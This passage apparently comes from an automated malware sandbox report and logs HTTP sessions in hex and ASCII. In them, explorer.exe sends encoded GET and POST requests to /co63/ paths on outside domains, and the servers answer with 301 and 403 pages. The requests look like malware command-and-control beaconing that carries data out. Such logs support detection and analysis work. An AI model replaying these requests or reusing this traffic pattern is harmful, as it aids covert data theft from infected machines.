59 75 4d 57 68 48 47 68 6b 31 6a 65 47 39 6d 30 64 73 69 77 36 6b 79 52 6f 44 30 64 75 69 6b 4c 6f 75 55 57 48 32 36 48 49 77 4e 49 33 54 39 36 66 38 42 4b 68 6e 67 56 6d 4d 41 6b 52 5f 35 56 41 45 59 4c 6f 43 5a 68 4e 66 58 5f 50 36 39 54 6c 7a 49 59 35 61 58 2d 4f 79 7a 6a 33 6c 28 61 28 54 62 72 63 77 70 73 54 74 42 74 6a 76 71 6a 4e 51 38 2d 70 47 7e 71 6c 4f 39 50 4f 63 4e 50 6b 51 6a 4c 45 6e 53 72 51 75 6f 68 55 56 65 41 45 76 4d 57 68 45 6a 69 54 38 45 6d 6a 41 61 38 74 2d 50 56 65 35 4e 6c 48 48 6e 6f 7e 74 70 68 6d 55 50 37 38 65 4c 51 75 37 66 44 69 6d 4e 49 66 71 33 68 69 74 67 53 67 6d 4b 6f 42 47 77 4c 6b 51 51 34 7e 31 7a 37 6d 56 31 47 79 65 42 59 34 5a 44 7a 76 5a 59 4b 6f 53 48 76 72 51 31 4e 58 54 58 44 76 68 4b 34 39 59 6c 34 7e 48 77 63 6d 78 46 7a 7a 63 35 7a 7a 6d 34 54 6c 30 71 5f 53 73 32 69 66 58 68 44 59 4f 6d 70 75 4c 6a 6c 64 73 54 39 75 50 57 67 4b 66 65 4f 45 43 56 57 74 36 52 72 6d 6b 48 64 54 4f 53 31 6d 35 6c 72 5a 48 33 41 4e 7a 49 65 6d 66 5a 50 56 52 64 67 57 30 52 71 75 73 43 48 59 47 33 67 70 53 4d 30 34 73 36 45 6c 71 52 57 55 4e 43 70 47 54 77 52 74 67 72 65 38 7a 66 32 55 4a 57 58 32 30 30 4a 47 73 55 68 41 45 69 54 48 43 48 73 59 77 6e 63 52 7a 6d 64 77 2d 34 68 6c 73 72 5a 6e 45 30 62 63 4b 69 4d 51 61 6d 5a 77 5a 75 6d 6f 6b 46 36 72 57 70 4e 55 49 41 36 71 67 79 66 35 72 66 6a 33 79 48 6b 42 7a 49 75 65 46 69 31 55 6f 47 63 6b 6f 6a 70 33 7a 76 69 37 43 58 6e 28 56 7a 6e 78 54 61 39 4a 4f 69 67 36 70 74 30 4d 31 4e 4b 57 42 78 75 51 42 62 4b 41 6f 4e 33 32 76 51 42 4a 4b 6b 56 50 73 6c 59 4e 50 6d 65 4a 4a 4c 56 52 70 6e 6d 56 48 28 72 48 76 33 6c 59 56 56 41 47 6a 6b 70 4b 6b 6b 67 52 70 7a 57 74 55 4d 6c 56 63 31 54 35 78 42 35 73 71 4d 6d 79 45 42 42 68 7a 50 54 4f 43 77 52 35 41 54 58 70 64 4e 53 31 6d 55 39 4e 65 49 6a 66 71 69 30 69 2d 78 32 32 70 57 38 30 33 48 36 6f 31 54 64 4e 65 45 50 72 5a 67 42 39 68 6b 53 32 32 79 6d 6b 50 55 6a 74 65 7a 76 53 72 28 57 67 50 6c 47 6f 75 28 61 72 6f 36 35 64 4a 32 48 52 38 67 47 6f 58 58 43 31 7a 59 46 63 6c 59 73 39 64 53 52 33 55 4f 7a 76 41 48 67 69 4f 7e 70 41 70 35 4d 37 73 35 36 62 61 6c 33 64 6f 50 69 66 6f 6e 4d 28 35 6e 63 44 37 66 55 71 61 39 6c 67 4a 65 41 56 55 7e 57 50 36 6e 79 4d 66 54 41 52 5a 32 32 6a 44 69 38 58 74 67 4b 7a 65 71 57 43 42 36 66 4e 4a 66 30 32 54 75 67 34 68 4b 69 62 56 6a 5f 4d 77 6e 64 4f 41 64 6f 52 35 74 78 59 5f 45 6d 37 39 78 55 35 32 35 36 66 39 4c 5f 63 31 53 61 42 51 53 49 6e 66 63 62 59 65 73 41 28 51 6d 77 39 58 46 6f 6c 5a 75 54 79 4c 48 65 36 35 78 6f 69 57 53 37 6b 69 4b 31 51 5a 52 58 59 45 75 68 56 57 70 35 28 37 55 39 35 70 51 33 6d 45 6e 39 4f 67 77 73 4f 59 59 54 56 30 5a 46 44 32 39 53 79 55 30 53 71 62 6d 70 62 63 4e 4f 4c 44 57 30 76 34 36 78 49 67 4e 32 62 4a 4c 32 4b 6b 36 58 65 4c 48 39 69 5f 77 39 52 4f 47 50 36 59 50 57 66 78 75 34 47 52 30 4c 45 78 61 51 54 51 53 42 59 51 61 44 53 51 6f 5f 71 5f 66 4f 34 6e 48 75 4a 45 42 43 78 42 39 61 6f 49 6d 64 49 4f 76 39 68 36 6d 70 74 6c 4a 67 48 65 76 78 5a 66 52 75 71 5a 6e 32 34 72 37 68 45 32 4d 5a 28 62 37 42 5a 53 66 43 59 4e 31 33 79 42 62 55 69 4c 42 64 7e 65 75 73 37 77 47 31 64 4f 37 52 37 53 4e 73 49 38 6c 55 55 6d 79 4b 4b 38 47 58 46 56 Data Ascii: aJElwV=28AZYsEtejfYv3quRDavWx3RZxxaQogFVG~GVmjjrwozNgShgXstYt7zOgvlrxiN6LE6w61to6FLr7zHi72COpzS3puOfkP-(HkttODl2juUyr10X-o1yVlwAtHh2zHac1NtyJu93Sa1r-f74cDSQsPMdO5hf_(nibt4XvvLKqojZy(vJdfsCnaKQPi0(SkT5AyPlxgOb2bOBro-9wxLziTvBG76IqF08SXAhdzc(_3QUfV5syokjYvespwh~FhebUaFXI4_yvtdPX0Y263mpyBDBlECsRCrzoYuMWhHGhk1jeG9m0dsiw6kyRoD0duikLouUWH26HIwNI3T96f8BKhngVmMAkR_5VAEYLoCZhNfX_P69TlzIY5aX-Oyzj3l(a(TbrcwpsTtBtjvqjNQ8-pG~qlO9POcNPkQjLEnSrQuohUVeAEvMWhEjiT8EmjAa8t-PVe5NlHHno~tphmUP78eLQu7fDimNIfq3hitgSgmKoBGwLkQQ4~1z7mV1GyeBY4ZDzvZYKoSHvrQ1NXTXDvhK49Yl4~HwcmxFzzc5zzm4Tl0q_Ss2ifXhDYOmpuLjldsT9uPWgKfeOECVWt6RrmkHdTOS1m5lrZH3ANzIemfZPVRdgW0RqusCHYG3gpSM04s6ElqRWUNCpGTwRtgre8zf2UJWX200JGsUhAEiTHCHsYwncRzmdw-4hlsrZnE0bcKiMQamZwZumokF6rWpNUIA6qgyf5rfj3yHkBzIueFi1UoGckojp3zvi7CXn(VznxTa9JOig6pt0M1NKWBxuQBbKAoN32vQBJKkVPslYNPmeJJLVRpnmVH(rHv3lYVVAGjkpKkkgRpzWtUMlVc1T5xB5sqMmyEBBhzPTOCwR5ATXpdNS1mU9NeIjfqi0i-x22pW803H6o1TdNeEPrZgB9hkS22ymkPUjtezvSr(WgPlGou(aro65dJ2HR8gGoXXC1zYFclYs9dSR3UOzvAHgiO~pAp5M7s56bal3doPifonM(5ncD7fUqa9lgJeAVU~WP6nyMfTARZ22jDi8XtgKzeqWCB6fNJf02Tug4hKibVj_MwndOAdoR5txY_Em79xU5256f9L_c1SaBQSInfcbYesA(Qmw9XFolZuTyLHe65xoiWS7kiK1QZRXYEuhVWp5(7U95pQ3mEn9OgwsOYYTV0ZFD29SyU0SqbmpbcNOLDW0v46xIgN2bJL2Kk6XeLH9i_w9ROGP6YPWfxu4GR0LExaQTQSBYQaDSQo_q_fO4nHuJEBCxB9aoImdIOv9h6mptlJgHevxZfRuqZn24r7hE2MZ(b7BZSfCYN13yBbUiLBd~eus7wG1dO7R7SNsI8lUUmyKK8GXFVcfNb6Cz5fM(vjSZ-xIkHovSnkXG6~s5d1NDw4SU_Q7vu94M9NJAHH_OZdJBxF0MC0Np5vrwFP-pjw594y5V0fOUgmtAMSKp3ljxlz4w-SX85WfSEfx1H1uJyhjJYgJih0hI0Sj7hPCFNYH9-4PXhlyIG4vubiOU4k3IZZSklfgL2jnSHX5Qm~TyzJqiXwCUo~06cSgO4uCWiDlhJjrmdGl9JK_PxzrlqKHvNFa06iLbY5oSoOP4r2vgKXXVuqTff74StuRdvMrTKuTxLPa(jAIK2hb55DsjsX8Nhtobu2-afupTWXf7TR7j_iNjMadrhjG3bcnhXpCFlZe8oxzU5SK7GbRiyKCGyr_zNn6NnAAKOqFpcib(JefXA03gGRlF794lnU8iXgIhw~Q1maQm4LCFF39aOkki4dt8EnCvYEk6F8fPeUzKU17bBD7PMMNWtU9w2wAkJqo(2El3UPa(lcaM5QIlXqaMV8Dc6jJDlckAmJYuuT5iyXUEu4ffxin8JLvbFtEcZsLDApNWz6r6YMzImoiOyl9i8ix0WgWr-SSSrooDSKeVT6caQYWopqAtc9i8BsuE4P5k4voQfY4bFhvL9xpjdj8r6Ma6tmntjj-U02KTd78Javz6126KkVztb7Mu1PN~wHqRIbwCBoNKNbFLHlcdqL4DeyhChSAfNtr~gSKtYJFhAjFsnwFZNsEwjhqDc1PGEq3(94wHDg0tfbrabw-KuMKCNWAreRNFYs76MBt3B8PzaQivO5juVSjcTkXAGlHJZvJI4ySyZhsaR3rUYndxJ8YtFKx1ASwBt6PMt3nSWYIvgTDa3~2m7xgCRpvX7MXnCuOJsFpa03hWqlUoyNA(OI0PDaJlPUOfYEBjePaf3mO9rG81JDNimzLZmMO1ZLqcnB9Unc92-syTgrfTg2Q2M9A6Fa5tb65y3PaAJV2wr19Epaj73NzeeJddFvsDzZFBLZJ2kYLbyehk8peU_4Wh-2_3Yb1qduWZe1S1dXfAj9fLAfF73eWlun9qDEQDHndg-UuQ2jVLJIsPFezdP(GizvpMbhtxGBf6eaMsdyhbN7SokAJaBhRwcM9CGnwXhQgbyLufVLRXB8rCoZpw8fw8-JK1q2cnGQ4oM15OQ2-WT5p47grom6rksG7QQBl0_LFXBe8umBItZ50qxzAJWLdAlR-XR~q6pQhYDYtVhUsyiuWxWbVafh4dcgi2UlSoZ4sMeG51rgCve8E2Bf132pQNdr8r35-r20RGMxWqzJYBGPoeI~LR_mT9msKX-bo5PFq4leZ85ACvgz3DXNJyaUZUSlY9rOQNQe9dwhNHBIV7hc7hKkBMzz47H4aeY2Zp2f-Cz0aTXAIXKdLiTUL8LtGIyPYvU0sP5cHdq0nDjxKwuVB8cczvI7JeT98fUWgTrnGvqI0TQ1HHfDyP5UR4j4v(URC0b(Qd3abOP5HYVIv45p7ALKH8MIvQC681JzEsKDz0kdIn42FlEPIlqPYWpDEtB7ajNo4k2wNPrfsnZ5j06TVhbj3VpxVKfrOs4lP~tPLPM5cS4NkfoiySLpqqOLIQ82UfiLwvC2Wom7OMdJniXzp2xUrmy7FrrwwRzQAqxXsW7fQ29msYs~lwZ5edzjRcc4_(-ex(Xe6TeNSlNdl9IwgyF1-PppsM_ttQJqkO2om5QbT8_5ehLRF~EK6s_ZWLgEcP2MLFpSLYwcuWuEbvLFDzzgftDYgHQxAvzPjhcnBG9dMfsStu8hJpXVEF2HPR4BHis9fdrT_ljc-sQ~V4nA-x3MkxykRdkDA9ollTOO8UkbvVCBYi-v3zXs2o-jeYp6ABwXY251d8Opeh8mLcNHgpz85r28m8tjsxhbsRYyig9O58I3abU6DHQyW2pp3z6kB7Q6YGhtFIll35KYVJoBIl-djpKT2Blz5vjk3CvNEpCXCEvin50sawJJYlSlv54Lv9riwpvvCbeeTgVAuLfcs(ASv3q23WszrsXu4(aTxR3tXHemCWf6-4PyVklxUUw781cb3x6p-05ClCBjXAVp-JRFUYRBM1U8XUirELHP1m_cmoFG6CjU0uIB5lum9iII5HODpC1sDbXVFmSmQaRsLaLIoJj7dPvE4AmlZvc4O5OZYFMKAPd8u0nBhdks6K6m-46X7YI9E7SRUtdR4ptf6AADJsG8VjTHAgb0IDH4kL329GMcFrUn_Oj(Rd5QJjciYs2wDbK18VMBiEVxUJkU8faXPLVIdZHW7hBjtNFOhb2Zpn8Wkl9YbJpGdbTpWR-1S78ak4emlMlnHsX2kuL2Na91FWeRMV8k1Qgo8ToDdxzMiVrN9duieNY01ku8hJBIkTcD5FJd6p3C-zd91JjkEYvkvuHRsHLRGdPTrRUSoPfbfD_SW5QX6uKpbWmxiKO2Bp8iDJGXfYGNYET2Hv92NHqCtLKvL7MIdaWT_tYhJYUzIHCFu5G~drzgNY5NX7TgrSwtAEw8qd07gVVUPiN~TbrGknscQSd2Lv7U0JpfoYBjujxFg6SZ2jLTxqXhsOvYrqr02N402gzyfqSh8dx6lO9uPxjc_zK6vFbbdEDAL5PNYTk~X~1wAIvquWGE6sMOWsbe-DmgVKjA2x5eSXzxAoaVLVVb6qKfZpb0vRvuKu1KdENa3wf78RO3KzKxPxy(y8fi53toKh1a8JPQgyWVQkPuaf6HFGAQRFEkrOARZIDgF0fnnXfzNZ1vIhKy8zdvKfXZj(
Jul 20, 2023 11:44:40.622956038 CEST	161	OUT	Data Raw: 64 33 4a 5f 36 4f 58 52 53 62 39 4d 6c 39 57 77 5a 32 71 62 46 6c 4c 4d 49 33 34 68 7a 42 55 4e 57 57 50 39 35 71 68 6f 6b 42 6a 4a 58 63 70 59 28 50 49 6f 39 42 70 74 37 2d 79 57 50 42 5a 67 46 4c 6f 44 4a 31 68 38 35 79 47 67 51 39 71 6b 67 70 Data Ascii: d3J_6OXRSb9Ml9WwZ2qbFlLMI34hzBUNWWP95qhokBjJXcpY(PIo9Bpt7-yWPBZgFLoDJ1h85yGgQ9qkgpo8uSBBgPE5Ff4n28tseXnfMtFqOa(OFjEQ0CTmd3IxAIVZ9cafNjS-40MVR7ShksPwlN(M9audEk7VWZOWdgS8heCkc6squMd0GE(65O6u5NF_i2RjmReKI8fGyZdBQAPbHAxI5EW9(0mgKmELMNCRCMaPVw97gTN
Jul 20, 2023 11:44:40.622970104 CEST	162	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Thu, 20 Jul 2023 09:44:40 GMT server: LiteSpeed location: https://www.vestostore.com/co63/ platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49731	23.227.38.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:46:57.367342949 CEST	1005	OUT	GET /co63/?aJElwV=3AiLeGuBi37RfNw9iEe1gED9S58L9D44LalDhi66HjPelwFncooMVS2PHplI6kLySndc&lz=9rXXjDMXIb6HXH- HTTP/1.1 Host: www.mattewigs.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 20, 2023 11:46:57.400480032 CEST	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 20 Jul 2023 09:46:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Sorting-Hat-PodId: 275 X-Sorting-Hat-ShopId: 78317551892 X-Dc: gcp-europe-west3 X-Request-ID: 619dc533-3df6-40c6-b74c-29637f03265a X-XSS-Protection: 1; mode=block X-Download-Options: noopen X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uH5aeEqN3obfucUZWJZxP2rtEyDNUaJ7saLEC0Ok2Owj7W8d0caYEwTGPeiRIgUoDaiIZVk18uwtzJEIZrBRt9cJ6bNakCkFfGOUXGLV8mIisdbuuED8woLaz1OTyooLO3L8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server-Timing: cfRequestDuration;dur=14.999866 Server: cloudflare CF-RAY: 7e9a47ac8dbc9295-FRA alt-svc: h3=":443"; ma=86400 Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;padding:0}html{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-height:100%}body{padding:0;margin:0;
Jul 20, 2023 11:46:57.400513887 CEST	1008	IN	Data Raw: 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e Data Ascii: line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-decoration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-size:1.8rem;font-weight:400;margin:0 0 1.4rem 0}p{font
Jul 20, 2023 11:46:57.400532961 CEST	1009	IN	Data Raw: 65 6c 73 65 20 74 69 6c 20 c3 a5 20 c3 a5 70 6e 65 20 64 65 74 74 65 20 6e 65 74 74 73 74 65 64 65 74 22 0a 20 20 7d 2c 0a 20 20 22 74 68 22 3a 20 7b 0a 20 20 20 20 22 74 69 74 6c 65 22 3a 20 22 e0 b8 81 e0 b8 b2 e0 b8 a3 e0 b9 80 e0 b8 82 e0 b9 Data Ascii: else til pne dette nettstedet" }, "th": { "title": "", "content-title": "
Jul 20, 2023 11:46:57.400551081 CEST	1010	IN	Data Raw: 70 65 72 20 61 63 63 65 64 65 72 65 20 61 20 71 75 65 73 74 6f 20 73 69 74 6f 20 77 65 62 22 0a 20 20 7d 2c 0a 20 20 22 70 6c 22 3a 20 7b 0a 20 20 20 20 22 74 69 74 6c 65 22 3a 20 22 4f 64 6d 6f 77 61 20 64 6f 73 74 c4 99 70 75 22 2c 0a 20 20 20 Data Ascii: per accedere a questo sito web" }, "pl": { "title": "Odmowa dostpu", "content-title": "Nie masz uprawnie dostpu do tej strony internetowej" }, "sv": { "title": "tkomst nekad", "content-title": "Du har inte beh
Jul 20, 2023 11:46:57.400568962 CEST	1011	IN	Data Raw: 68 2d 43 4e 22 3a 20 7b 0a 20 20 20 20 22 74 69 74 6c 65 22 3a 20 22 e8 ae bf e9 97 ae e8 a2 ab e6 8b 92 e7 bb 9d 22 2c 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 2d 74 69 74 6c 65 22 3a 20 22 e6 82 a8 e6 97 a0 e6 9d 83 e8 ae bf e9 97 ae e6 ad a4 e7 Data Ascii: h-CN": { "title": "", "content-title": "" }, "nl": { "title": "Toegang geweigerd", "content-title": "Je hebt geen toestemming voor toegang tot deze website" }}; var language = nav
Jul 20, 2023 11:46:57.400583029 CEST	1011	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49732	23.227.38.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:46:59.543375015 CEST	1014	OUT	POST /co63/ HTTP/1.1 Host: www.mattewigs.com Connection: close Content-Length: 1484 Cache-Control: no-cache Origin: http://www.mattewigs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.mattewigs.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 28 69 75 78 41 6a 33 79 75 6d 7a 48 4e 61 35 48 7a 69 66 68 32 79 37 4d 64 37 52 65 71 42 6c 37 66 73 6f 30 31 79 71 69 4c 32 28 42 6e 67 74 43 59 35 39 4c 54 6d 76 54 46 35 56 62 6f 30 33 31 54 54 56 4a 28 72 6e 35 56 36 77 70 4d 74 28 47 31 58 44 48 53 50 57 69 57 75 6f 76 76 54 52 5a 4c 47 64 4d 4d 37 78 61 49 72 41 6d 52 50 37 79 74 76 31 55 73 4a 74 65 5a 4e 38 79 41 42 47 4f 5a 46 68 35 6f 2d 34 78 31 6d 76 30 65 50 43 59 43 66 39 61 4a 75 30 7a 67 6a 67 77 4c 6c 4e 66 45 39 32 6a 42 4e 41 41 6f 69 63 61 35 4c 5a 48 6b 6c 69 78 70 49 50 52 75 74 43 59 77 54 65 57 30 57 46 77 50 30 49 5f 6b 79 39 4f 30 4b 6a 5a 79 69 6d 57 6e 4e 49 5a 58 7a 6d 56 4b 43 7a 62 5a 4f 4f 55 58 43 52 6e 72 6b 33 48 36 54 46 2d 62 6e 50 52 65 34 45 69 4b 33 52 41 67 58 57 46 77 42 67 5f 78 39 68 6e 6d 4d 7e 79 48 4e 7a 69 36 4c 61 4e 4a 4a 44 5a 48 4c 54 46 47 79 34 77 57 31 77 4f 66 31 4f 4d 4c 7a 56 32 70 4d 57 62 6c 4d 7a 77 61 58 33 4d 47 69 63 32 51 47 52 63 68 6b 66 4a 33 42 59 34 70 4f 79 75 6b 59 43 72 31 7a 39 44 56 35 70 50 65 43 71 6e 4c 7a 44 2d 75 51 28 35 6f 44 61 4f 53 71 75 70 50 64 52 4d 58 39 6d 48 65 34 53 4c 72 41 33 65 4c 32 47 64 67 6f 6b 57 49 59 79 64 51 4d 33 5f 5a 45 48 77 66 77 59 58 4d 48 65 42 79 57 53 4a 6d 65 65 4f 67 34 64 78 68 48 76 2d 53 2d 36 38 54 39 55 52 7e 48 4d 7a 56 70 77 30 6e 73 78 76 33 70 37 53 51 6a 48 44 4a 46 44 32 6b 45 56 50 41 49 67 69 66 46 64 34 41 45 48 55 7e 75 74 5a 71 41 39 52 6e 48 68 49 61 68 62 57 45 6e 28 68 62 62 72 4e 45 68 6d 6a 56 63 68 66 39 55 43 33 56 71 45 50 37 53 48 31 4a 34 75 43 69 36 43 73 38 4f 57 5a 4f 79 50 32 4a 75 58 57 43 74 54 79 45 33 7a 4c 6c 5f 6d 52 31 36 48 4d 5a 59 59 36 6a 41 45 68 58 42 44 56 6f 34 78 31 4f 6b 58 47 6a 70 7a 5a 39 42 4b 43 34 55 35 58 4f 34 36 6e 30 71 34 36 5a 71 35 59 63 59 75 75 39 62 44 6c 67 54 5a 57 5a 6d 71 39 7e 48 69 4e 45 37 7a 79 4b 52 6d 34 48 69 4a 47 28 34 4a 47 4a 56 79 6d 46 38 4f 4f 74 6b 72 77 7e 2d 53 6f 52 51 69 7a 66 61 69 6b 71 6a 68 58 38 50 71 61 45 75 51 59 39 46 63 33 74 70 55 54 4b 31 42 5f 37 48 54 53 71 50 41 53 59 6a 36 77 76 43 33 77 49 36 6a 6a 6b 41 67 4d 5a 68 73 31 74 4b 68 5a 74 63 6e 4c 7e 31 48 42 6c 46 51 6e 76 42 4a 54 6b 66 6a 36 32 42 79 59 42 67 72 32 4b 61 73 61 50 67 53 76 78 42 48 5f 55 43 55 77 56 71 52 59 39 54 59 67 33 55 7a 69 45 4a 36 44 6e 30 38 4b 4c 61 62 33 30 65 6e 63 55 41 5a 56 46 59 54 6d 53 31 32 46 44 64 36 73 7e 6b 61 4a 4b 75 58 47 5a 70 34 51 34 49 77 75 59 54 4f 4a 4a 50 45 50 51 68 64 38 41 7a 30 73 42 49 42 30 55 36 72 77 6c 59 54 67 7a 48 49 41 7a 57 46 68 34 57 76 34 58 52 5a 5a 6d 71 68 6f 36 72 6a 35 69 45 64 52 73 74 51 43 28 52 4d 6f 6c 79 4a 4c 67 30 28 71 37 4e 74 37 38 65 77 65 50 37 4d 37 39 63 51 73 66 58 56 37 5a 4d 38 53 73 5a 42 67 79 6f 72 32 31 6e 53 59 54 6e 6e 55 4a 6b 79 79 46 72 4d 61 45 6f 71 59 66 56 50 39 64 64 56 52 77 76 5a 5f 78 5a 32 35 54 44 37 64 45 69 43 6a 7a 52 28 78 32 64 46 5f 57 38 4f 72 4b 6b 64 64 6f 38 78 47 45 4e 4a 4e 6f 64 63 71 64 7a 4e 6e 56 55 74 66 39 63 50 6f 49 4a 53 63 4f 4c 47 62 48 73 36 37 64 58 44 4c 61 59 51 43 4c 6c 63 72 76 56 6d 68 62 72 6f 32 74 36 6f 47 57 6f 5a 55 77 4a 49 4e 52 70 47 4f 62 6b 6f 75 74 4d 53 44 44 54 6b 70 32 31 50 35 38 52 5a 31 6c 69 44 42 48 5f 6b 5f 51 43 59 78 75 6b 4e 45 68 42 75 41 6b 58 30 46 43 6a 67 5a 44 50 48 38 52 4e 6f 5a 4b 67 73 5a 6b 75 64 4d 31 56 28 70 6f 6b 43 68 4d 35 37 75 66 47 31 62 5a 49 39 73 51 57 49 75 54 